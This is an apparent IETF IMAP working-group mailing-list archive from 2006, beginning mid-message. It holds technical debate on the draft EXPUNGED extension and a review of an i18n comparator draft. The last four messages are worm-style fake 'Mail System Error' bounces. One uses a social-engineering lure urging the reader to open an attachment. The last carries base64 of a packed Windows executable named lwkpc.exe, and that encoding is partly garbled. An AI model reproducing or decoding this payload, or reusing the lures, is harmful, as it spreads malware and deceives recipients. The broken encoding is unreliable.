 	PC Pine, Tomobiki-Cho, Windows XP 55274-OEM-0011903-00102
and the returned cookie would be stored in the program's config file.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Thu, 24 Aug 2006 17:10:00 -0500
To: Philip Guenther <[email-masked]>
From: Pete Resnick <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'    to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

On 8/24/06 at 2:37 PM -0700, Philip Guenther wrote:

>If EXPUNGED updates the message sequences just like an EXPUNGE response...

That's the "other things" I was referring to in my followup message.

>Breaking client use of msgnos seems a bit drastic of a side-effect 
>for an extension aimed at shrinking the cost of resynchronization.

I'm with Mark on this: Non-starter. Change the EXPUNGED spec, not how 
message numbers work.

pr
-- 
Pete Resnick <http://www.qualcomm.com/~presnick/>
QUALCOMM Incorporated - Direct phone: (858)651-4478, Fax: (858)651-1102

Date: Thu, 24 Aug 2006 14:39:25 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Philip Guenther <[email-masked]>
cc: Pete Resnick <[email-masked]>, [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Thu, 24 Aug 2006, Philip Guenther wrote:
> Breaking client use of msgnos seems a bit drastic of a 
> side-effect for an extension aimed at shrinking the cost of 
> resynchronization.

s/seems a bit drastic of a/is an unacceptable

IMHO.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Thu, 24 Aug 2006 14:37:30 -0700
From: Philip Guenther <[email-masked]>
To: Pete Resnick <[email-masked]>
cc: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Thu, 24 Aug 2006, Pete Resnick wrote:
...
> +1. This would also pretty much eliminate the need for the IDLE command 
> because subsequent EXPUNGED responses could come back unsolicited. Less 
> state in the client is a good thing.

If EXPUNGED updates the message sequences just like an EXPUNGE response 
then use of REPORTEXPUNGES would make it impossible to reliably use msgnos 
in commands; they would appear in responses but a client would have no way 
to guarantee that a msgno wouldn't be invalidated or changed in meaning 
(what message it maps to) between when it composed the command and when 
the server received it.  Breaking client use of msgnos seems a bit drastic 
of a side-effect for an extension aimed at shrinking the cost of 
resynchronization.

Philip Guenther

Date: Thu, 24 Aug 2006 16:03:29 -0500
To: Arnt Gulbrandsen <[email-masked]>
From: Pete Resnick <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged  messages'   to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

On 8/24/06 at 3:59 PM -0500, I wrote:

>This would also pretty much eliminate the need for the IDLE command 
>because subsequent EXPUNGED responses could come back unsolicited.

To clarify: s/pretty much eliminate/go a long way towards eliminating.

Other things would have to be changed in the spec to make this 
happen. I think those should happen. More on that later when I have 
time to write more.

pr
-- 
Pete Resnick <http://www.qualcomm.com/~presnick/>
QUALCOMM Incorporated - Direct phone: (858)651-4478, Fax: (858)651-1102

Date: Thu, 24 Aug 2006 15:59:22 -0500
To: Arnt Gulbrandsen <[email-masked]>
From: Pete Resnick <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'   to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

On 8/24/06 at 11:33 AM +0200, Arnt Gulbrandsen wrote:

>I would like a REPORTEXPUNGES SELECT modifier in addition to or 
>instead of the FETCH modifier. The SELECT modifier would cause 
>SELECT to send an EXPUNGED response, helping clients clean up their 
>cache without having to fetch anything.

+1. This would also pretty much eliminate the need for the IDLE 
command because subsequent EXPUNGED responses could come back 
unsolicited. Less state in the client is a good thing.

Personally, I would prefer REPORTEXPUNGES to be on SELECT *instead* of FETCH.

pr
-- 
Pete Resnick <http://www.episteme-software.com/>
All connections to the world are tenuous at best

Date: Thu, 24 Aug 2006 19:07:44 +0100
From: Alexey Melnikov <[email-masked]>
To: Mark Crispin <[email-masked]>
CC: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Mark Crispin wrote:

> Before IESG is to make any determination about this document, I would 
> like to see some discussion of this document within IMAPEXT, and a 
> recommendation to IESG made as to whether this document should be 
> rejected, published as Experimental, or published as Proposed.
>
> The document has some good points; in particular the EXPUNGED response 
> consumes less bandwidth than multiple EXPUNGE responses.  However, I 
> don't believe that the benefits justify the additional complexity 
> created by burdening an already complex protocol with yet another 
> extension; nor do I believe that there is substantial added 
> functionality in this document.
>
> The fact that it is Alexey who submitted it, however, indicates to me 
> that there may be something more to this proposal.  Whatever it is, 
> I've missed it.
>
> I would like Alexey to give us a presentation before passing final 
> judgement.

Ok, let me try to explain my motivation for this extension. There are 
two issues that this draft is trying to address:
1). EXPUNGE is too verbose (one response per message). Also, it returns 
message numbers and UIDs might be more convenient for many clients.
2). CONDSTORE extension doesn't provide a way to learn about expunged 
messages in the same FETCH. Arguably this is a small defect in CONDSTORE 
that I was trying to fix.

The draft started as an attempt to address #2 and #1 was a nice side 
effect of it. However even addressing #1 by itself would be worthwhile, 
IMHO.
An earlier version of the draft required server to associate CONDSTORE 
modification sequences (modseqs) with every expunged message, so that 
the client can ask for all messages expunged since a modseq. While 
thinking about implementing this I realized that this might be a 
substantial burden for server implementations, as  servers would be 
required to store additional state and EXPUNGE/CLOSE might take longer 
as the result.
I've made an assumption (and please tell me if my assumption is wrong), 
that expunged messages might compress well when represented a UID set. 
(This seems to be the case for people who delete all messages after 
processing them.)
The next logical step is realization that if EXPUNGED returns all UIDs 
expunged from a UID set, then it would be not much worse than just 
returning all UIDs  from the set expunged since a modseq. So I decided 
to drop EXPUNGED dependency on modseqs.

Some other comments on the document:
1). One can notice that for a UID set the EXPUNGED response contains the 
inverse of SEARCH (ALL) <uidset> defined in 
draft-melnikov-imap-search-ret-03.txt. However I argued that the 
EXPUNGED response is semantically different, as it is clear what it 
means when the server sends an unsolicited EXPUNGED response.

2). The EXPUNGED draft is a dependency for Lemonade Quick Mailbox 
Synchronization draft (draft-ietf-lemonade-reconnect-client-01.txt). 
Cyrus has proposed to merge functionality of EXPUNGED with 
draft-ietf-lemonade-reconnect-client-01.txt. That would be fine with me, 
but because of the motive #1 a client that doesn't implement 
CONDSTORE/QRESYNC can still benefit from EXPUNGED.
But I think I can be convinced one way or another.

Alexey

Date: Thu, 24 Aug 2006 11:33:39 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Lisa Dusseault writes:
> Please review!!

I like the idea. At present, resynchronising typically involves O(n) 
traffic, where n is the number of messages in the mailbox. For a 
35,000-message mailbox (what Dave considers medium-sized), SELECT x 
followed by UID SEARCH 1:*' is the briefest simple way to find out what 
messages have been expunged and in the best case causes 199k traffic. 
Shrinking that to 100 bytes is a big win, say I, but I'm not terribly 
happy with the specifics of this document. Some fairly minor changes 
would make it much better.

I think the document needs a bit of copy editing; I'll send mail to 
Alexey privately with that. Here I'll cover only substantive issues.

1. Minor issue. There is a silent assumption that clients fetch flags 
for all messages all the time. That assumption isn't necessary, and it 
warps the extension. Why use FETCH so much if all you want is to find 
the expunged messages?

2. I would like a REPORTEXPUNGES SELECT modifier in addition to or 
instead of the FETCH modifier. The SELECT modifier would cause SELECT 
to send an EXPUNGED response, helping clients clean up their cache 
without having to fetch anything. (Of course it's desirable to 
invalidate changed messages, but this document is not CONDSTORE and 
does not yet depend on CONDSTORE.)

If SELECT doesn't have a REPORTEXPUNGES, then I think this document 
needs to rely on CONDSTORE. FETCH ... (CHANGEDSINCE x REPORTEXPUNGES) 
makes sense and helps update a cache, but without CONDSTORE I don't see 
the improvement. The command FETCH 1:* UID (REPORTEXPUNGES) is not an 
improvement over FETCH 1:* UID or UID SEARCH 1:*.

3. The document doesn't say for how long the expunges must be 
remembered. Forever would be a problem for me (in a 5000-message 
mailbox where 35,000 old messages have been deleted, EXPUNGED could be 
very big). If EXPUNGED is made to depend on CONDSTORE, this is easily 
fixable.

If EXPUNGED doesn't depend on CONDSTORE, this needs fixing in a 
different way. (Also there needs to be a sentence that within a 
session, EXPUNGED contains only those UIDs that haven't been reported 
as expunged already in this session.)

4. It's not clear to me how long the EXPUNGE->EXPUNGED change lasts. The 
client indicates that it wants EXPUNGED, but how long does the server 
remember: Until the end of the session or the end of the connection? I 
would prefer the latter.

I apologise for not reviewing this sooner. It slipped through my fingers.

Arnt

Date: Wed, 23 Aug 2006 12:26:37 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Lisa Dusseault <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged) 
Sender: [email-masked]

Before IESG is to make any determination about this document, I would like 
to see some discussion of this document within IMAPEXT, and a 
recommendation to IESG made as to whether this document should be 
rejected, published as Experimental, or published as Proposed.

The document has some good points; in particular the EXPUNGED response 
consumes less bandwidth than multiple EXPUNGE responses.  However, I don't 
believe that the benefits justify the additional complexity created by 
burdening an already complex protocol with yet another extension; nor do I 
believe that there is substantial added functionality in this document.

The fact that it is Alexey who submitted it, however, indicates to me that 
there may be something more to this proposal.  Whatever it is, I've missed 
it.

I would like Alexey to give us a presentation before passing final 
judgement.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged) 
Date: Wed, 23 Aug 2006 11:35:11 -0700
Sender: [email-masked]

--Apple-Mail-5--190230950
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	delsp=yes;
	format=flowed

Please review!!

Thanks,
Lisa

Begin forwarded message:

> From: The IESG <[email-masked]>
> Date: August 23, 2006 5:52:08 AM PDT
> To: IETF-Announce <[email-masked]>
> Subject: Last Call: 'IMAP4 extension for reporting expunged  
> messages' to  Proposed Standard (draft-melnikov-imap-expunged)
> Reply-To: [email-masked]
>
> The IESG has received a request from an individual submitter to  
> consider
> the following document:
>
> - 'IMAP4 extension for reporting expunged messages'
>    <draft-melnikov-imap-expunged-01.txt> as a Proposed Standard
>
> The IESG plans to make a decision in the next few weeks, and solicits
> final comments on this action.  Please send any comments to the
> [email-masked] or [email-masked] mailing lists by 2006-09-20.
>
> The file can be obtained via
> http://www.ietf.org/internet-drafts/draft-melnikov-imap- 
> expunged-01.txt
>
>
> _______________________________________________
> IETF-Announce mailing list
> [email-masked]
> https://www1.ietf.org/mailman/listinfo/ietf-announce

--Apple-Mail-5--190230950
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html;
	charset=ISO-8859-1

<HTML><BODY style=3D"word-wrap: break-word; -khtml-nbsp-mode: space; =
-khtml-line-break: after-white-space; ">Please review!!<DIV><BR =
class=3D"khtml-block-placeholder"></DIV><DIV>Thanks,</DIV><DIV>Lisa<BR><DI=
V><BR><DIV>Begin forwarded message:</DIV><BR =
class=3D"Apple-interchange-newline"><BLOCKQUOTE type=3D"cite"><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><FONT face=3D"Helvetica" size=3D"3" color=3D"#000000" =
style=3D"font: 12.0px Helvetica; color: #000000"><B>From: =
</B></FONT><FONT face=3D"Helvetica" size=3D"3" style=3D"font: 12.0px =
Helvetica">The IESG &lt;<A =
href=3D"mailto:[email-masked]">[email-masked]</A>&gt;</F=
ONT></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><FONT face=3D"Helvetica" =
size=3D"3" color=3D"#000000" style=3D"font: 12.0px Helvetica; color: =
#000000"><B>Date: </B></FONT><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica">August 23, 2006 5:52:08 AM =
PDT</FONT></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><FONT face=3D"Helvetica" =
size=3D"3" color=3D"#000000" style=3D"font: 12.0px Helvetica; color: =
#000000"><B>To: </B></FONT><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica">IETF-Announce &lt;<A =
href=3D"mailto:[email-masked]">[email-masked]</A>&gt;</FON=
T></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: =
0px; margin-left: 0px; "><FONT face=3D"Helvetica" size=3D"3" =
color=3D"#000000" style=3D"font: 12.0px Helvetica; color: =
#000000"><B>Subject: </B></FONT><FONT face=3D"Helvetica" size=3D"3" =
style=3D"font: 12.0px Helvetica"><B>Last Call: 'IMAP4 extension for =
reporting expunged messages' to<SPAN class=3D"Apple-converted-space">=A0 =
</SPAN>Proposed Standard (draft-melnikov-imap-expunged)<SPAN =
class=3D"Apple-converted-space">=A0</SPAN></B></FONT></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><FONT face=3D"Helvetica" size=3D"3" color=3D"#000000" =
style=3D"font: 12.0px Helvetica; color: #000000"><B>Reply-To: =
</B></FONT><FONT face=3D"Helvetica" size=3D"3" style=3D"font: 12.0px =
Helvetica"><A =
href=3D"mailto:[email-masked]">[email-masked]</A></FONT></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; min-height: 14px; "><BR></DIV> <DIV style=3D"margin-top:=
 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">The =
IESG has received a request from an individual submitter to =
consider</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; ">the following =
document:</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">- 'IMAP4 extension for reporting expunged =
messages'</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><SPAN =
class=3D"Apple-converted-space">=A0=A0 =
</SPAN>&lt;draft-melnikov-imap-expunged-01.txt&gt; as a Proposed =
Standard</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">The IESG plans to make a decision in the next few =
weeks, and solicits</DIV><DIV style=3D"margin-top: 0px; margin-right: =
0px; margin-bottom: 0px; margin-left: 0px; ">final comments on this =
action.<SPAN class=3D"Apple-converted-space">=A0 </SPAN>Please send any =
comments to the</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; "><A =
href=3D"mailto:[email-masked]">[email-masked]</A> or <A =
href=3D"mailto:[email-masked]">[email-masked]</A> mailing lists by =
2006-09-20.</DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">The file can be obtained via</DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><A =
href=3D"http://www.ietf.org/internet-drafts/draft-melnikov-imap-expunged-0=
1.txt">http://www.ietf.org/internet-drafts/draft-melnikov-imap-expunged-01=
.txt</A></DIV><DIV style=3D"margin-top: 0px; margin-right: 0px; =
margin-bottom: 0px; margin-left: 0px; min-height: 14px; "><BR></DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; min-height: 14px; "><BR></DIV><DIV style=3D"margin-top: =
0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; =
">_______________________________________________</DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; ">IETF-Announce mailing list</DIV><DIV =
style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><A =
href=3D"mailto:[email-masked]">[email-masked]</A></DIV><DI=
V style=3D"margin-top: 0px; margin-right: 0px; margin-bottom: 0px; =
margin-left: 0px; "><A =
href=3D"https://www1.ietf.org/mailman/listinfo/ietf-announce">https://www1=
.ietf.org/mailman/listinfo/ietf-announce</A></DIV> =
</BLOCKQUOTE></DIV><BR></DIV></BODY></HTML>=

--Apple-Mail-5--190230950--

Date: Sat, 19 Aug 2006 12:33:05 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Cc: [email-masked], [email-masked], General Area Review Team <[email-masked]>, Spencer Dawkins <[email-masked]>
Sender: [email-masked]

Lisa Dusseault writes:
> I'm OK Enough here.  It's hard to make things truly general.  We  
> really need to solve the IMAP need,
> ...

And the Sieve need. That's arguably even more pressing. 3028bis blocks 
on draft-newman-i18n-comparator and it's difficult to do much more than 
«hello world» in sieve without using a collation.

Arnt

Cc: "Arnt Gulbrandsen" <[email-masked]>, <[email-masked]>, <[email-masked]>, "General Area Review Team" <[email-masked]>, <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Date: Fri, 18 Aug 2006 11:19:40 -0700
To: Spencer Dawkins <[email-masked]>
Sender: [email-masked]

On Aug 18, 2006, at 11:03 AM, Spencer Dawkins wrote:

> Hi, Arnt,
>
>
>> I apparently forgot to reply back in March. Sorry.
>>
>> Spencer Dawkins <[email-masked]>
>>> I was thinking about this from the client's perspective (if the  
>>> collation
>>> doesn't report "error", how does the client know to report  
>>> anything to
>>> someone who might be able to fix the input?).
>>
>> There's no point in doing that. Take my home, IMAP. If an IMAP client
>> tells the server to sort the messages by subject, and one message's
>> subject contains an illegal ISO-2022-JP sequence, the collation will
>> return "error" a few times. That's not a bug in the client or server,
>> it's just another broken mail message. Usually it's spam. Routine.
>
> If you guys are OK here, I'm OK.

I'm OK Enough here.  It's hard to make things truly general.  We  
really need to solve the IMAP need, and the authors have done a good  
job of trying to make it useful elsewhere.  Most of the work of  
making the registry useful elsewhere would belong in other documents  
anyway.  For example, if IRIS wanted to use collations to sort  
registry entries and report errors, the reporting of errors during  
sorting would have to be part of the IRIS proposal anyway.

Then if that fails there's always new RFC numbers for later versions  
of this work.

Lisa

From: "Spencer Dawkins" <[email-masked]>
To: "Arnt Gulbrandsen" <[email-masked]>
Cc: <[email-masked]>, <[email-masked]>, "General Area Review Team" <[email-masked]>, <[email-masked]>, "Lisa Dusseault" <[email-masked]>
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Date: Fri, 18 Aug 2006 13:03:35 -0500
Sender: [email-masked]

Hi, Arnt,

>I apparently forgot to reply back in March. Sorry.
>
> Spencer Dawkins <[email-masked]>
>> I was thinking about this from the client's perspective (if the collation
>> doesn't report "error", how does the client know to report anything to
>> someone who might be able to fix the input?).
>
> There's no point in doing that. Take my home, IMAP. If an IMAP client
> tells the server to sort the messages by subject, and one message's
> subject contains an illegal ISO-2022-JP sequence, the collation will
> return "error" a few times. That's not a bug in the client or server,
> it's just another broken mail message. Usually it's spam. Routine.

If you guys are OK here, I'm OK.

>> No, I'm sorry that I wasn't clearer. I was trying to say that if the
>> designated expert fumbles the evaluation, perhaps talking to an APPS-area
>> AD would be sufficient to resolve most appeals, without involving the 
>> rest
>> of the IESG, unless the APPS-area AD fumbles the first-level appeal.
>
> I made this change.

Likewise (and I noted it when I reviewed -13 - thanks!)

Spencer 

Date: Fri, 18 Aug 2006 19:36:18 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: Spencer Dawkins <[email-masked]>
Cc: [email-masked], [email-masked], Scott Hollenbeck <[email-masked]>, General Area Review Team <[email-masked]>, [email-masked]
Subject: Re: Gen-ART Review of draft-newman-i18n-comparator-06.txt
Sender: [email-masked]

I apparently forgot to reply back in March. Sorry.

Spencer Dawkins <[email-masked]>
> I was thinking about this from the client's perspective (if the collation 
> doesn't report "error", how does the client know to report anything to 
> someone who might be able to fix the input?).

There's no point in doing that. Take my home, IMAP. If an IMAP client
tells the server to sort the messages by subject, and one message's
subject contains an illegal ISO-2022-JP sequence, the collation will
return "error" a few times. That's not a bug in the client or server,
it's just another broken mail message. Usually it's spam. Routine.

> No, I'm sorry that I wasn't clearer. I was trying to say that if the 
> designated expert fumbles the evaluation, perhaps talking to an APPS-area 
> AD would be sufficient to resolve most appeals, without involving the rest 
> of the IESG, unless the APPS-area AD fumbles the first-level appeal.

I made this change.

Arnt

From: [email-masked]
To: [email-masked]
Subject: delivery failed
Date: Fri, 18 Aug 2006 13:50:05 +0100
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0008_032E0DF6.250B373E
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

The original message was received at Fri, 18 Aug 2006 13:50:05 +0100
from imc.org [63.228.28.76]

----- The following addresses had permanent fatal errors -----
[email-masked]

------=_NextPart_000_0008_032E0DF6.250B373E
Content-Type: application/octet-stream;
	name="Document.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="Document.pif"

------=_NextPart_000_0008_032E0DF6.250B373E--

From: [email-masked]
To: [email-masked]
Subject: Mail System Error - Returned Mail
Date: Fri, 18 Aug 2006 20:33:27 +0900
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0001_9A33C234.C7A75B9E
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear user of imc.org,

Your account was used to send a large amount of junk e-mail messages during the recent week.
Probably, your computer was infected by a recent virus and now runs a hidden proxy server.

Please follow instructions in the attached file in order to keep your computer safe.

Sincerely yours,
imc.org user support team.

------=_NextPart_000_0001_9A33C234.C7A75B9E
Content-Type: application/octet-stream;
	name="attachment.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="attachment.zip"

------=_NextPart_000_0001_9A33C234.C7A75B9E--

From: [email-masked]
To: [email-masked]
Subject: Mail System Error - Returned Mail
Date: Mon, 14 Aug 2006 10:57:47 -0700
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0009_891B42EE.A18F392A
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

The original message was received at Mon, 14 Aug 2006 10:57:47 -0700 from [54.203.204.165]

----- The following addresses had permanent fatal errors -----
[email-masked]

------=_NextPart_000_0009_891B42EE.A18F392A
Content-Type: application/octet-stream;
	name="message.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="message.zip"

------=_NextPart_000_0009_891B42EE.A18F392A--

From: [email-masked]
To: [email-masked]
Subject: Mail System Error - Returned Mail
Date: Thu, 10 Aug 2006 18:15:49 +0100
Sender: [email-masked]

This is a multi-part message in MIME format.

------=_NextPart_000_0014_6968241E.532E2178
Content-Type: text/plain;
	charset=us-ascii
Content-Transfer-Encoding: 7bit

This message was not delivered due to the following reason:

Your message was not delivered because the destination server was
not reachable within the allowed queue period. The amount of time
a message is queued before it is returned depends on local configura-
tion parameters.

Most likely there is a network problem that prevented delivery, but
it is also possible that the computer is turned off, or does not
have a mail system running right now.

Your message was not delivered within 8 days:
Mail server 190.82.133.15 is not responding.

The following recipients could not receive this message:
<[email-masked]>

Please reply to [email-masked]
if you feel this message to be in error.

------=_NextPart_000_0014_6968241E.532E2178
Content-Type: application/octet-stream;
	name="lwkpc.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="lwkpc.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA2AAAAA4f
ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwAAAAAA
AAAAAAAAAADgAA8BCwEHAABgAAAAEAAAAIAAAADtAAAAkAAAAPAAAAAAUAAAEAAAAAIAAAQAAAAA
AAAABAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AAAU9QAAMAEAAADwAAAUBQAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA AAAAAAAAAAAAAA
AAAAAAAAAABVUFgwAAAAAACAAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACA AADgVVBYMQAAAAAA
YAAAAJAAAA BgAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADwAAAACAAAAGQAAAAA
AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCRn7h0iRpnG1EsYAAPtcAAAAngAAJgEAd/+H
qJAAa2VybmVsMzIuZP+b599sbDVyb290XElFRnJhbWUAQVRW/v/8SF9Ob3RlcmN0cmxfcmVud25k
D/+3//98eV/uz7nd3mc7hBWA1AAeOAmyn/sVAI0GGHi2////D0BAAwAdK/RBgU/N/P/XJWsIAAFA
PI9TATZA/27/31Tx/aczu72aQRQEV4UO BkBdEAAYBC+3291ACB8ALQoDeSgHpCyK3AKXv/zlAL4O
LxsAAL8GpzgEAIUvBRO3t //yAQAVXY5fzgtEZWMAo3YAT58AU92++9tlcF51ZwBKdWwDbgBNYXkP
cHJrl+3NBwNGZWITYVNhJ91zt+1/aQBUaHUAV2VkB3XeTW8XL
7KPbb8lcywgJXUCcwUuMnU6BPPC
e1sOYwYDPUludG+tte10RwJDOgh6SFN0YfsT/ggoZG
5zYXBpVWlwaGxw
DQvbsiUbRFFucjlBNfyt
aws7TgJ3b3JrUGFs c9/23f4fb
WFpbB4tZAtzOG0HYbY5N/ZidXNlG3N0FxZwJLvdursXY2NvsgDe
aX
YLeWMbd
mwrfHRpZmkLLmdLbGkvmuFjtzhydkt1Ym1p3bbarR3bK2kPcHB4
EGFkFoYf4eZCQ 2Fn
43RoZS5iH8+33ftnb2xkLVFJY2EgZmVzdG6Vj9YcIiLSL2YFY+zOD0tvZnRjaSe91rmtP1Nnrw15
oQOFVmjPtScRKxSC3rf3vXkGS2goB2JvZHkPrX3l9hZZaW4vdwhKPObcsXIHemlxDGpzZi7d1toz
eU9XoityunL2tkNrILgrCG4Hvx3a++FvZyNnbnUOB1iLvUPhg6kWB5TrjtZ
+b3Ifyy5jn//eChEW
DnweZMx5CZdm5y5AZG9uZXh8X9sttHvYbxh5YQasc5v5YWt+nGtHbmRhFXS5ixVicdWOB2RuLh1i
pcKfZsXHvY38sL4u53ltYXbkXy0hZVvsiy8HQFeTIACQB8oKpigAKbV+nCogApcYUECQQT7TB3AP
bGhmQIZkZGADhqQZkFwEVExAhmRIR DwZZJBmBTQwKKQbkCEgBr8YwgL2BR8Q
DwBk28CmAgsMAQBm
KWywEgEAPU9Vts
g fACZuYpalwxr2Bzt8LnQwn+meFF8HXwso945R+rogpf9fYRoXbWR5Ng8pLi5A
DpzZuQaKJwNAAC35///0MDUqLioAVVNFUlBST0ZJTEUAOlxwNus00w0ALXKQbtmnFCY eBwj8JTTN
IM0Z9OwU5DfIIIPc0MQnTdM0TQq8ALgytA0yyCCwrKgC0nSDB6Q3BaCk6Qb7CXwHUE83LHuznxkI
3+gkpy+PkMHO8tgkDAfIz54dZMC4JGe0JG+sJCAn3yUKHyV8PHvy7Ewk92ggUB1v2BnBVollz5fg
